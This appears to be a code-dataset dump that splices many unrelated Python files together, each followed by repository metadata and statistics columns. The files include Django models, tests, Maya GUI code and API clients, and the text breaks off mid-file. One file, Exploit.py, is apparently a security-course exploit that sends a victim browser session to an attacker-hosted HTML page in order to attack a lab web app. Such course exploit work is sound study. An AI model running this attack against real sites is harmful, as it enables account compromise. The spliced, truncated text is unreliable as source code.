https://docs.google.com/document/d/14q26auOLPU34KFtkUmC_bkoo5dAwegRzgpwmZEQMhaU
"""
import logging
import traceb... | 40.088983 | 79 | 0.702146 | 1,310 | 9,461 | 4.619084 | 0.125191 | 0.039663 | 0.027764 | 0.034209 | 0.596596 | 0.52074 | 0.430507 | 0.332177 | 0.174021 | 0.128078 | 0 | 0.010154 | 0.208857 | 9,461 | 235 | 80 | 40.259574 | 0.798263 | 0.103689 | 0 | 0.107784 | 1 | 0 | 0.225003 | 0.133517 | 0 | 0 | 0 | 0 | 0 | 1 | 0.077844 | false | 0 | 0.041916 | 0.005988 | 0.203593 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05dc9e06abce6cc09cc36c86c50ef30f13b3073b | 5,140 | py | Python | src/api/models.py | ppknUWr/backend-bbz | 5ee82737d4c65be109677ec9485ec7f59aae62bf | [
"Apache-2.0"
] | 1 | 2021-03-03T19:12:26.000Z | 2021-03-03T19:12:26.000Z | src/api/models.py | ppknUWr/backend-bbz | 5ee82737d4c65be109677ec9485ec7f59aae62bf | [
"Apache-2.0"
] | 10 | 2021-03-01T16:11:29.000Z | 2021-10-04T18:36:33.000Z | src/api/models.py | ppknUWr/backend-bbz | 5ee82737d4c65be109677ec9485ec7f59aae62bf | [
"Apache-2.0"
] | null | null | null | from django.db import models
import api.json_worker as json_worker
"""
ABSTRACT MODEL
Class BibliographyTemplateModel
Handles all fields that are in our bibliography databases.
"""
class BibliographyTemplateModel(models.Model):
# FIELDS GO HERE
id = models.IntegerField(primary_key=True) #1 - ID rekordu (inte... | 54.105263 | 199 | 0.70642 | 661 | 5,140 | 5.30711 | 0.334342 | 0.072121 | 0.106613 | 0.099772 | 0.143387 | 0.116306 | 0.057583 | 0 | 0 | 0 | 0 | 0.014054 | 0.183268 | 5,140 | 94 | 200 | 54.680851 | 0.821582 | 0.242802 | 0 | 0 | 0 | 0 | 0.17557 | 0.006353 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054545 | false | 0 | 0.036364 | 0.036364 | 0.709091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
05dcbb2c4c239f9b4a8fbabeb170702515971f70 | 1,296 | py | Python | tests/test_strategy.py | zozzz/yapic.di | 83488a84c0429b593d42e4d622c94dcb130bffa5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | tests/test_strategy.py | zozzz/yapic.di | 83488a84c0429b593d42e4d622c94dcb130bffa5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | tests/test_strategy.py | zozzz/yapic.di | 83488a84c0429b593d42e4d622c94dcb130bffa5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | import pytest
from yapic.di import Injector, InjectError, VALUE, FACTORY, SCOPED_SINGLETON, SINGLETON
def test_strategy_value():
injector = Injector()
provided = "VALUE"
injector.provide("V", provided, VALUE)
assert injector["V"] == "VALUE"
assert injector["V"] is provided
assert injector.pro... | 22.736842 | 87 | 0.657407 | 153 | 1,296 | 5.48366 | 0.202614 | 0.139452 | 0.089392 | 0.095352 | 0.549464 | 0.480334 | 0.480334 | 0.480334 | 0.480334 | 0.429082 | 0 | 0 | 0.238426 | 1,296 | 56 | 88 | 23.142857 | 0.850051 | 0 | 0 | 0.461538 | 0 | 0 | 0.01466 | 0 | 0 | 0 | 0 | 0 | 0.282051 | 1 | 0.128205 | false | 0.076923 | 0.051282 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
05dceb631e9e5e43e026255950937e80b089bb03 | 1,251 | py | Python | Projects/1/Analysis/10/Exploit.py | Opty-MISCE/SS | 2010a7f93fdcaa50f835d827e531dc636abfe299 | [
"MIT"
] | null | null | null | Projects/1/Analysis/10/Exploit.py | Opty-MISCE/SS | 2010a7f93fdcaa50f835d827e531dc636abfe299 | [
"MIT"
] | null | null | null | Projects/1/Analysis/10/Exploit.py | Opty-MISCE/SS | 2010a7f93fdcaa50f835d827e531dc636abfe299 | [
"MIT"
] | null | null | null | from requests import session, get
from random import randint
from sys import argv
from Common.Driver import runScript
SERVER = argv[1]
attackerSERVER = "http://web.tecnico.ulisboa.pt/ist190774/SSof/R2Ai2t0bslrVyMxUOUyO.html"
victimSession = session()
victimUsername = str(randint(2 ** 27, 2 ** 28))
victimPassword = st... | 25.530612 | 89 | 0.745803 | 153 | 1,251 | 6.091503 | 0.437909 | 0.019313 | 0.045064 | 0.041845 | 0.255365 | 0.16309 | 0.111588 | 0.111588 | 0.111588 | 0.111588 | 0 | 0.026022 | 0.139888 | 1,251 | 48 | 90 | 26.0625 | 0.840149 | 0.101519 | 0 | 0.176471 | 0 | 0 | 0.171429 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 1 | 0 | false | 0.117647 | 0.117647 | 0 | 0.117647 | 0.029412 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
05e94465c2150fd300427ccfc108c9168a7466b4 | 315 | py | Python | mall/celery_tasks/sms/tasks.py | DanaLee1990/meiduo | a2342cfd35829b7ef40ef3c1f1731eb95658d3e8 | [
"MIT"
] | null | null | null | mall/celery_tasks/sms/tasks.py | DanaLee1990/meiduo | a2342cfd35829b7ef40ef3c1f1731eb95658d3e8 | [
"MIT"
] | null | null | null | mall/celery_tasks/sms/tasks.py | DanaLee1990/meiduo | a2342cfd35829b7ef40ef3c1f1731eb95658d3e8 | [
"MIT"
] | null | null | null |
"""
任务:
1、就是普通函数
2、该函数必须通过celery的实例对象的tasks装饰其装饰
3、该任务需要让celery实例对象自动检测
4、任务(函数)需要使用任务名(函数名).delay() 进行调用
"""
from libs.yuntongxun.sms import CCP
from celery_tasks.main import app
@app.task
def send_sms_code(mobile,sms_code):
ccp = CCP()
ccp.send_template_sms(mobile, [sms_code, 5], 1)
| 16.578947 | 51 | 0.704762 | 46 | 315 | 4.673913 | 0.652174 | 0.097674 | 0.12093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0.174603 | 315 | 18 | 52 | 17.5 | 0.803846 | 0.371429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
05eb0d02c233f0dee2324590bb3ea53e0d555dbd | 412 | py | Python | algorithms/reverseInteger/reverseInteger.py | zhyu/leetcode | 3c2d85b4b7a497ceffac3e562ac1a468f1f6a4b0 | [
"MIT"
] | 5 | 2015-02-18T10:17:12.000Z | 2016-11-14T19:12:21.000Z | algorithms/reverseInteger/reverseInteger.py | zhyu/leetcode | 3c2d85b4b7a497ceffac3e562ac1a468f1f6a4b0 | [
"MIT"
] | null | null | null | algorithms/reverseInteger/reverseInteger.py | zhyu/leetcode | 3c2d85b4b7a497ceffac3e562ac1a468f1f6a4b0 | [
"MIT"
] | null | null | null | class Solution:
# @return an integer
def reverse(self, x):
int_max = 2147483647
limit = int_max/10
if x > 0:
sig = 1
elif x < 0:
sig = -1
x = -x
else:
return x
y = 0
while x:
if y > limit:
... | 19.619048 | 31 | 0.359223 | 50 | 412 | 2.92 | 0.44 | 0.082192 | 0.068493 | 0.082192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132597 | 0.56068 | 412 | 20 | 32 | 20.6 | 0.674033 | 0.043689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05ec147619d0c6c159ac7693bb807a1f37686d47 | 710 | py | Python | petstagram/petstagram/common/tests.py | batsandi/petstagram_2 | f6c2cce00862e2b6b77bfc143cc8efb55fa46735 | [
"MIT"
] | null | null | null | petstagram/petstagram/common/tests.py | batsandi/petstagram_2 | f6c2cce00862e2b6b77bfc143cc8efb55fa46735 | [
"MIT"
] | null | null | null | petstagram/petstagram/common/tests.py | batsandi/petstagram_2 | f6c2cce00862e2b6b77bfc143cc8efb55fa46735 | [
"MIT"
] | null | null | null | import unittest
from django.core.exceptions import ValidationError
from petstagram.common.validators import MaxFileSizeInMbValidator
class FakeFile:
size = 5
class FakeImage:
file = FakeFile()
class MaxFileSizeInMbValidatorTests(unittest.TestCase):
def test_when_file_is_bigger__expect_to_raise(self):... | 22.1875 | 65 | 0.73662 | 73 | 710 | 6.917808 | 0.561644 | 0.027723 | 0.043564 | 0.059406 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015845 | 0.2 | 710 | 31 | 66 | 22.903226 | 0.873239 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.166667 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
05ed9a57f5af4fea6ddb8a36da3aa0e080bf2206 | 2,348 | py | Python | src/third_party/swiftshader/third_party/subzero/pydir/gen_test_arith_ll.py | rhencke/engine | 1016db292c4e73374a0a11536b18303c9522a224 | [
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | src/third_party/swiftshader/third_party/subzero/pydir/gen_test_arith_ll.py | rhencke/engine | 1016db292c4e73374a0a11536b18303c9522a224 | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | src/third_party/swiftshader/third_party/subzero/pydir/gen_test_arith_ll.py | rhencke/engine | 1016db292c4e73374a0a11536b18303c9522a224 | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | def mangle(op, op_type, signed):
# suffixMap gives the C++ name-mangling suffixes for a function that takes two
# arguments of the given type. The first entry is for the unsigned version of
# the type, and the second entry is for the signed version.
suffixMap = { 'i1': ['bb', 'bb'],
'i8': ['hh'... | 41.192982 | 80 | 0.517036 | 327 | 2,348 | 3.605505 | 0.373089 | 0.061069 | 0.033927 | 0.054283 | 0.084818 | 0.06955 | 0 | 0 | 0 | 0 | 0 | 0.031524 | 0.270443 | 2,348 | 56 | 81 | 41.928571 | 0.656743 | 0.141823 | 0 | 0.085106 | 0 | 0.021277 | 0.318566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.021277 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05f53d4427176b3d7edeff38f769638cc4082c8a | 580 | py | Python | unittests/discordremotetestcase.py | gcurtis79/OctoPrint-DiscordRemote | 1af667648a5161633f5484f656783cd03858e798 | [
"MIT"
] | null | null | null | unittests/discordremotetestcase.py | gcurtis79/OctoPrint-DiscordRemote | 1af667648a5161633f5484f656783cd03858e798 | [
"MIT"
] | null | null | null | unittests/discordremotetestcase.py | gcurtis79/OctoPrint-DiscordRemote | 1af667648a5161633f5484f656783cd03858e798 | [
"MIT"
] | null | null | null | from unittest import TestCase
class DiscordRemoteTestCase(TestCase):
def assertBasicEmbed(self, embeds, title, description, color, author):
self.assertEqual(1, len(embeds))
first_embed = embeds[0].get_embed()
self.assertEqual(title, first_embed['title'])
self.assertEqual(descriptio... | 41.428571 | 74 | 0.698276 | 63 | 580 | 6.301587 | 0.396825 | 0.176322 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006237 | 0.17069 | 580 | 13 | 75 | 44.615385 | 0.819127 | 0 | 0 | 0 | 0 | 0 | 0.07931 | 0 | 0 | 0 | 0 | 0 | 0.727273 | 1 | 0.090909 | false | 0 | 0.090909 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05f7184b1636ce380b382f6f97cc79d0e2e8deeb | 15,251 | py | Python | scripts/mgear/maya/shifter/gui.py | KRNKRS/mgear | 06ddc26c5adb5eab07ca470c7fafa77404c8a1de | [
"MIT"
] | 94 | 2017-12-16T07:42:06.000Z | 2022-03-28T07:40:04.000Z | scripts/mgear/maya/shifter/gui.py | KRNKRS/mgear | 06ddc26c5adb5eab07ca470c7fafa77404c8a1de | [
"MIT"
] | 66 | 2017-12-02T14:30:35.000Z | 2019-01-14T01:17:38.000Z | scripts/mgear/maya/shifter/gui.py | KRNKRS/mgear | 06ddc26c5adb5eab07ca470c7fafa77404c8a1de | [
"MIT"
] | 27 | 2018-06-11T14:16:17.000Z | 2022-01-09T15:19:32.000Z | import os
from functools import partial
# pymel
import pymel.core as pm
# mgear
import mgear
from mgear.maya import shifter, skin, pyqt, utils
GUIDE_UI_WINDOW_NAME = "guide_UI_window"
GUIDE_DOCK_NAME = "Guide_Components"
##############################
# CLASS
##############################
class Guide_UI(object):... | 37.288509 | 79 | 0.499967 | 1,451 | 15,251 | 5.188146 | 0.242591 | 0.023379 | 0.024176 | 0.013018 | 0.330765 | 0.267269 | 0.25186 | 0.230739 | 0.201116 | 0.178666 | 0 | 0.016059 | 0.379385 | 15,251 | 408 | 80 | 37.379902 | 0.779292 | 0.016458 | 0 | 0.346626 | 0 | 0 | 0.090117 | 0.005025 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.006135 | 0.027607 | null | null | 0.006135 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
05fe83150bd16fbe021adff0767ad7e4b00d8b44 | 4,634 | py | Python | reader/fnoData/stkOptDailyDataWrapper.py | sifarone/gce_k8s_deployment | f596e17b9d0263ae24c61ebba9925af4719b4306 | [
"MIT"
] | null | null | null | reader/fnoData/stkOptDailyDataWrapper.py | sifarone/gce_k8s_deployment | f596e17b9d0263ae24c61ebba9925af4719b4306 | [
"MIT"
] | null | null | null | reader/fnoData/stkOptDailyDataWrapper.py | sifarone/gce_k8s_deployment | f596e17b9d0263ae24c61ebba9925af4719b4306 | [
"MIT"
] | 1 | 2021-01-24T17:07:37.000Z | 2021-01-24T17:07:37.000Z | from . import fnoUtils as utils
class StkOptDailyDataWrapper:
def __init__(self, dailyData):
self.date = utils.convertDateToString(dailyData['date'])
self.stkOptOpenPrice = dailyData['stkOptOpenPrice']
self.stkOptHighPrice = dailyData[... | 48.270833 | 95 | 0.645878 | 321 | 4,634 | 9.311526 | 0.133956 | 0.05353 | 0.066912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.259819 | 4,634 | 96 | 96 | 48.270833 | 0.871429 | 0 | 0 | 0 | 0 | 0 | 0.219202 | 0.057389 | 0 | 0 | 0 | 0 | 0 | 1 | 0.185185 | false | 0 | 0.012346 | 0.123457 | 0.358025 | 0.271605 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
af080e2b64d93029d96213945225bd76584d1bfa | 4,692 | py | Python | nuaal/connections/api/RestBase2.py | mihudec/nuaal | c5c50c59e8a1f2b3f0f6a5266f4dd392befc13cd | [
"Apache-2.0"
] | null | null | null | nuaal/connections/api/RestBase2.py | mihudec/nuaal | c5c50c59e8a1f2b3f0f6a5266f4dd392befc13cd | [
"Apache-2.0"
] | null | null | null | nuaal/connections/api/RestBase2.py | mihudec/nuaal | c5c50c59e8a1f2b3f0f6a5266f4dd392befc13cd | [
"Apache-2.0"
] | null | null | null | import timeit
import logging
import requests
from requests.auth import HTTPBasicAuth
from requests.exceptions import ConnectionError, Timeout
import json
import os
from nuaal.definitions import DATA_PATH
from nuaal.utils import get_logger
class RestBase2(object):
"""
Parent class for all REST-like connections... | 36.092308 | 124 | 0.612532 | 545 | 4,692 | 5.176147 | 0.284404 | 0.031904 | 0.019497 | 0.031195 | 0.204537 | 0.204537 | 0.174761 | 0.174761 | 0.174761 | 0.174761 | 0 | 0.002707 | 0.291347 | 4,692 | 129 | 125 | 36.372093 | 0.845714 | 0.207374 | 0 | 0.268293 | 0 | 0 | 0.102681 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0.073171 | 0.109756 | 0 | 0.268293 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
af0a713f63ad7b9f547d2566aba51e999d586ae3 | 4,005 | py | Python | code/fields2network.py | alexeyknorre/PyVK | 5b93032f8296d58b53776107c48e9954eb4ce2c0 | [
"MIT"
] | null | null | null | code/fields2network.py | alexeyknorre/PyVK | 5b93032f8296d58b53776107c48e9954eb4ce2c0 | [
"MIT"
] | null | null | null | code/fields2network.py | alexeyknorre/PyVK | 5b93032f8296d58b53776107c48e9954eb4ce2c0 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Mon Jul 04 13:44:10 2016
@author: Alexey
"""
import pandas as pd
import operator
from transliterate import translit, get_available_language_codes
import re
csv = '../results/profiles.csv'
## test
# csv = '../tests/profiles.csv'
# PAJEK_EDGELIST = '../tests/test_edgelist.net'
... | 30.112782 | 153 | 0.566042 | 514 | 4,005 | 4.280156 | 0.309339 | 0.040909 | 0.010909 | 0.020455 | 0.070909 | 0.027273 | 0 | 0 | 0 | 0 | 0 | 0.021986 | 0.29588 | 4,005 | 132 | 154 | 30.340909 | 0.757801 | 0.080649 | 0 | 0.131868 | 0 | 0.010989 | 0.097311 | 0.02911 | 0.010989 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.043956 | null | null | 0.054945 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af1643d50d57eb06abf610b77d5aa52c2a3c6942 | 2,130 | py | Python | skytour/skytour/apps/solar_system/admin.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | skytour/skytour/apps/solar_system/admin.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | 1 | 2022-03-17T01:19:23.000Z | 2022-03-17T01:19:23.000Z | skytour/skytour/apps/solar_system/admin.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | from django.contrib import admin
from ..abstract.admin import AbstractObservation, ObservableObjectAdmin
from .models import (
Asteroid, AsteroidObservation,
Comet, CometObservation,
Planet, PlanetObservation,
MoonObservation,
MeteorShower,
)
class AsteroidObservationAdmin(AbstractObservation):
... | 31.791045 | 108 | 0.671362 | 196 | 2,130 | 7.102041 | 0.352041 | 0.055316 | 0.061063 | 0.036638 | 0.127155 | 0.101293 | 0.06681 | 0.047414 | 0.047414 | 0 | 0 | 0 | 0.203286 | 2,130 | 67 | 109 | 31.791045 | 0.820271 | 0 | 0 | 0.086207 | 0 | 0 | 0.139371 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.051724 | 0 | 0.603448 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
af199e4897719a80335ff5ec4f44958d12eb6383 | 2,570 | py | Python | analyze.py | dangoldin/annual-stats-analysis | 8aac0c864ce9ab7d602a656f7a529dbcb04eae95 | [
"MIT"
] | null | null | null | analyze.py | dangoldin/annual-stats-analysis | 8aac0c864ce9ab7d602a656f7a529dbcb04eae95 | [
"MIT"
] | null | null | null | analyze.py | dangoldin/annual-stats-analysis | 8aac0c864ce9ab7d602a656f7a529dbcb04eae95 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import sys, csv, re, pprint, math
from collections import namedtuple, Counter
RE_ALL_NUM = re.compile(r'[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?')
Row = namedtuple('Row', ('date','sleep','wakeup','physical_morning','physical_day','physical_evening','mood_morning','mood_day','mood_evening','food','d... | 26.494845 | 181 | 0.589883 | 406 | 2,570 | 3.509852 | 0.263547 | 0.039298 | 0.058947 | 0.035088 | 0.057544 | 0.022456 | 0 | 0 | 0 | 0 | 0 | 0.006176 | 0.243969 | 2,570 | 96 | 182 | 26.770833 | 0.727226 | 0.010895 | 0 | 0.026316 | 0 | 0 | 0.137008 | 0.015354 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.026316 | null | null | 0.039474 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af1c0b691c86765c21e591aade803cbb04e16f02 | 356 | py | Python | apps/data/migrations/0071_rename_code_id_taibifcode_objid.py | Jeffersonktw/portal20 | 3db8ef9379410d589202bcac40b667a63872c8ea | [
"MIT"
] | null | null | null | apps/data/migrations/0071_rename_code_id_taibifcode_objid.py | Jeffersonktw/portal20 | 3db8ef9379410d589202bcac40b667a63872c8ea | [
"MIT"
] | null | null | null | apps/data/migrations/0071_rename_code_id_taibifcode_objid.py | Jeffersonktw/portal20 | 3db8ef9379410d589202bcac40b667a63872c8ea | [
"MIT"
] | null | null | null | # Generated by Django 3.2.7 on 2022-01-06 03:42
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('data', '0070_taibifcode'),
]
operations = [
migrations.RenameField(
model_name='taibifcode',
old_name='code_id',
... | 18.736842 | 47 | 0.575843 | 38 | 356 | 5.263158 | 0.815789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077236 | 0.308989 | 356 | 18 | 48 | 19.777778 | 0.735772 | 0.126404 | 0 | 0 | 1 | 0 | 0.132686 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af1da69987c607f169e992928bfd2a046a0267de | 288 | py | Python | 1-beginner/1074.py | alenvieira/uri-online-judge-solutions | ca5ae7064d84af4dae12fc37d4d14ee441e49d06 | [
"MIT"
] | null | null | null | 1-beginner/1074.py | alenvieira/uri-online-judge-solutions | ca5ae7064d84af4dae12fc37d4d14ee441e49d06 | [
"MIT"
] | null | null | null | 1-beginner/1074.py | alenvieira/uri-online-judge-solutions | ca5ae7064d84af4dae12fc37d4d14ee441e49d06 | [
"MIT"
] | null | null | null | n = int(input())
values = [int(input()) for _ in range(n)]
for value in values:
msg = 'ODD '
if value % 2 == 0:
msg = 'EVEN '
if value < 0:
msg = msg + 'NEGATIVE'
elif value > 0:
msg = msg + 'POSITIVE'
else:
msg = 'NULL'
print(msg)
| 20.571429 | 41 | 0.479167 | 39 | 288 | 3.512821 | 0.512821 | 0.087591 | 0.131387 | 0.175182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022099 | 0.371528 | 288 | 13 | 42 | 22.153846 | 0.734807 | 0 | 0 | 0 | 0 | 0 | 0.100694 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af1e6cb4f796533701e76e497ff7a7e2738a483f | 342 | py | Python | service/util/log.py | mutouxia/kamiFaka | d5750de11de86f7a961ada4c11dd9f7ccaa38f12 | [
"MIT"
] | 717 | 2020-10-18T05:24:17.000Z | 2022-03-30T11:47:16.000Z | service/util/log.py | mutouxia/kamiFaka | d5750de11de86f7a961ada4c11dd9f7ccaa38f12 | [
"MIT"
] | 42 | 2020-10-22T15:37:22.000Z | 2022-02-27T04:52:27.000Z | service/util/log.py | mutouxia/kamiFaka | d5750de11de86f7a961ada4c11dd9f7ccaa38f12 | [
"MIT"
] | 267 | 2020-10-26T09:04:30.000Z | 2022-03-30T05:52:04.000Z | import time
# 定义日志记录器
# import sys
# def get_cur_info():
# return sys._getframe().f_code.co_filename + ' 第' + str(sys._getframe().f_lineno)+'行'
# 获取具体路径位置
# get_cur_info()
def log(msg):
with open('service.log','a',encoding='utf=8') as f:
f.write('\n' + time.strftime("%Y-%m-%d %H:%M:%S", time.localt... | 24.428571 | 91 | 0.608187 | 55 | 342 | 3.618182 | 0.690909 | 0.060302 | 0.100503 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003497 | 0.163743 | 342 | 14 | 91 | 24.428571 | 0.692308 | 0.444444 | 0 | 0 | 0 | 0 | 0.201087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af20c0a712f660c07e5c2681caabbc7632976ab2 | 301 | py | Python | test/deprecated/test6.py | davidliyutong/Flint | 4e2552dac8d781c21e8998ad68bbf1b986b09258 | [
"MIT"
] | null | null | null | test/deprecated/test6.py | davidliyutong/Flint | 4e2552dac8d781c21e8998ad68bbf1b986b09258 | [
"MIT"
] | 1 | 2020-07-08T02:57:50.000Z | 2020-07-08T02:57:50.000Z | test/deprecated/test6.py | davidliyutong/Flint | 4e2552dac8d781c21e8998ad68bbf1b986b09258 | [
"MIT"
] | null | null | null | import numpy as np
import scipy.linalg.blas as blas
import numba.cuda as cuda
import pyculib.blas as cublas
A = np.random.randn(3, 3)
B = np.random.randn(3, 3)
C = blas.sgemm(1.0, A, B)
print(C)
A_d = cuda.to_device(A)
B_d = cuda.to_device(B)
